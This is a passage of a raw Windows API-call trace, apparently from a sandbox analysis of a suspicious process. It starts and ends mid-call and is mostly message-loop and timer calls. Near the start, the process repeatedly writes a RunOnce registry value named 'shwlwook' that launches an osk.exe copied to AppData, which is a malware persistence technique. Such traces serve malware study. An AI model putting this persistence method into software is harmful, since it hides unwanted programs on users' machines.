lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.833] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.833] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.834] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.834] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.834] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.835] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.835] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.835] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.835] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.849] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.849] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.849] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.850] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.850] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.850] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.850] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.850] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.851] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.865] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.865] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.865] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.865] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.866] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.866] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.866] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.866] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.866] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.880] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.880] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.881] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.881] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.881] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.882] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.882] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.882] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.882] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.896] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.896] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.896] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.897] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.897] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.897] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.897] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.897] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.898] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.911] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.911] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.912] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.912] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.912] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.913] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.913] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.913] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.913] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0285.244] TranslateMessage (lpMsg=0x95f69c) returned 0 [0285.244] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0285.245] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0285.245] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0285.245] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0285.246] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0285.246] RegCloseKey (hKey=0x3c0) returned 0x0 [0285.246] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0285.246] GetMessageW (lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0285.246] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x3b, wParam=0x50e, lParam=0x0) [0285.247] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0285.247] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x11, wParam=0x0, lParam=0x0) returned 0x1 [0285.247] GetWindowLongW (hWnd=0x2021a, nIndex=-21) returned 76849872 Thread: id = 67 os_tid = 0x8e8 Thread: id = 69 os_tid = 0xbec [0251.916] GetCurrentThreadId () returned 0xbec [0251.917] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca4fe0, phModule=0x4c5fdc4 | out: phModule=0x4c5fdc4*=0x726c0000) returned 1 [0251.917] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x4c5fdc8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x4c5fdc8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0251.917] SetEvent (hEvent=0x288) returned 1 [0251.917] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0xffffffff) Thread: id = 71 os_tid = 0xe5c [0251.939] GetCurrentThreadId () returned 0xe5c [0251.940] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca4fe0, phModule=0x4d0fc30 | out: phModule=0x4d0fc30*=0x726c0000) returned 1 [0251.940] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x4d0fc34*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x4d0fc34*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0251.940] SetEvent (hEvent=0x294) returned 1 [0251.941] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0xffffffff) Thread: id = 73 os_tid = 0xfc8 [0251.946] GetCurrentThreadId () returned 0xfc8 [0251.946] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72ca3990, phModule=0x4d9fbec | out: phModule=0x4d9fbec*=0x726c0000) returned 1 [0251.946] EtwEventActivityIdControl (in: ControlCode=0x5, ActivityId=0x4d9fbfc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x4d9fbfc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0251.946] SetEvent (hEvent=0x278) returned 1 [0251.979] GetCurrentThread () returned 0xfffffffe [0251.979] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0252.495] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x4d9fbf4*=0x284, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 78 os_tid = 0xf70 [0252.469] GetCurrentThreadId () returned 0xf70 Thread: id = 79 os_tid = 0xbfc [0252.470] GetCurrentThreadId () returned 0xbfc [0252.470] GetCurrentThread () returned 0xfffffffe [0252.470] SetThreadPriority (hThread=0xfffffffe, nPriority=15) returned 1 [0252.470] WTSGetActiveConsoleSessionId () returned 0x1 [0252.470] LdrResolveDelayLoadedAPI () returned 0x72350b40 [0252.474] CreateDXGIFactory () returned 0x0 [0252.511] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x501f688 | out: lpDevMode=0x501f688) returned 1 [0252.511] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25581336016) returned 1 [0252.511] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25581360392) returned 1 [0252.511] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.511] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf3f67e3, lParam=0x3d09) returned 1 [0252.511] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25581387852) returned 1 [0252.526] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25582817913) returned 1 [0252.526] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.526] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf3fa0d3, lParam=0x3d09) returned 1 [0252.526] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25582843214) returned 1 [0252.556] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25585904170) returned 1 [0252.556] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.557] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf401961, lParam=0x3d09) returned 1 [0252.557] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25585931256) returned 1 [0252.610] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25591237530) returned 1 [0252.610] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.610] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf40e9b7, lParam=0x3d09) returned 1 [0252.610] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25591262534) returned 1 [0252.610] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25591281828) returned 1 [0252.610] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.610] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf40eb72, lParam=0x3d09) returned 1 [0252.610] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25591306175) returned 1 [0252.635] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25593726483) returned 1 [0252.635] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.635] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf414af0, lParam=0x3d09) returned 1 [0252.635] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25593750704) returned 1 [0252.666] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25596852899) returned 1 [0252.666] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.666] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf41c510, lParam=0x3d09) returned 1 [0252.666] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25596880812) returned 1 [0252.683] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25598536860) returned 1 [0252.683] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.683] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf4206d8, lParam=0x3d09) returned 1 [0252.683] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25598565705) returned 1 [0252.713] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25601533840) returned 1 [0252.713] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.713] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf427bea, lParam=0x3d09) returned 1 [0252.713] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25601557989) returned 1 [0252.750] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25605303282) returned 1 [0252.750] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.751] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf430f28, lParam=0x3d09) returned 1 [0252.751] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25605337153) returned 1 [0252.760] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25606230885) returned 1 [0252.760] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe38 [0252.760] PostMessageW (hWnd=0x2021a, Msg=0x401, wParam=0xf433364, lParam=0x3d09) returned 1 [0252.760] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25606259312) returned 1 [0252.791] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25609387821) returned 1 [0252.791] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25609399881) returned 1 [0252.806] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25610901933) returned 1 [0252.806] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25610914310) returned 1 [0252.838] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25614054547) returned 1 [0252.838] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25614065885) returned 1 [0252.856] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25615833460) returned 1 [0252.856] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25615851726) returned 1 [0252.885] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25618773073) returned 1 [0252.885] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25618787805) returned 1 [0252.900] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25620291031) returned 1 [0252.900] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25620303953) returned 1 [0252.932] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25623436446) returned 1 [0252.932] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25623448830) returned 1 [0252.963] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25626539051) returned 1 [0252.963] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25626552250) returned 1 [0252.994] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25629681913) returned 1 [0252.994] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25629693357) returned 1 [0253.036] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25633854115) returned 1 [0253.036] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25633870597) returned 1 [0253.057] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25635955450) returned 1 [0253.057] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25635970522) returned 1 [0253.088] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25639051360) returned 1 [0253.088] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25639067674) returned 1 [0253.119] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25642183712) returned 1 [0253.119] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25642195918) returned 1 [0253.135] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25643728053) returned 1 [0253.135] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25643743436) returned 1 [0253.166] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25646911621) returned 1 [0253.167] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25646922803) returned 1 [0253.197] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25649962523) returned 1 [0253.197] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25649974439) returned 1 [0253.213] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25651574965) returned 1 [0253.213] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25651586200) returned 1 [0253.253] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25655566538) returned 1 [0253.253] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25655578911) returned 1 [0253.260] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25656251150) returned 1 [0253.260] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25656265153) returned 1 [0253.291] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25659333879) returned 1 [0253.291] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25659348697) returned 1 [0253.307] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25660947500) returned 1 [0253.307] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25660962437) returned 1 [0253.338] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25664051571) returned 1 [0253.338] WTSGetActiveConsoleSessionId () returned 0x1 [0253.338] CreateDXGIFactory () returned 0x0 [0253.339] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0x501f688 | out: lpDevMode=0x501f688) returned 1 [0253.339] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25664193816) returned 1 [0253.354] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25665636610) returned 1 [0253.354] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25665651665) returned 1 [0253.385] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25668725227) returned 1 [0253.385] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25668741332) returned 1 [0253.630] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25693237888) returned 1 [0253.630] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25693252792) returned 1 [0253.650] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25695280443) returned 1 [0253.650] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25695292467) returned 1 [0253.666] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25696875315) returned 1 [0253.666] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25696888000) returned 1 [0253.709] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25701123387) returned 1 [0253.709] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25701139314) returned 1 [0253.729] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25703182034) returned 1 [0253.729] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25703196254) returned 1 [0253.763] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25706569942) returned 1 [0253.763] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25706582500) returned 1 [0253.791] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25709393366) returned 1 [0253.791] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25709405329) returned 1 [0253.870] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25717253453) returned 1 [0253.870] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25717266847) returned 1 [0253.871] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25717344933) returned 1 [0253.871] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25717356779) returned 1 [0253.885] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25718722122) returned 1 [0253.885] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25718736091) returned 1 [0253.901] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25720375683) returned 1 [0253.901] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25720392250) returned 1 [0253.932] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25723420998) returned 1 [0253.932] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25723437646) returned 1 [0253.971] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25727335941) returned 1 [0253.971] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25727347869) returned 1 [0253.994] QueryPerformanceCounter (in: lpPerformanceCount=0x501f738 | out: lpPerformanceCount=0x501f738*=25729670292) returned 1 [0253.994] QueryPerformanceCounter (in: 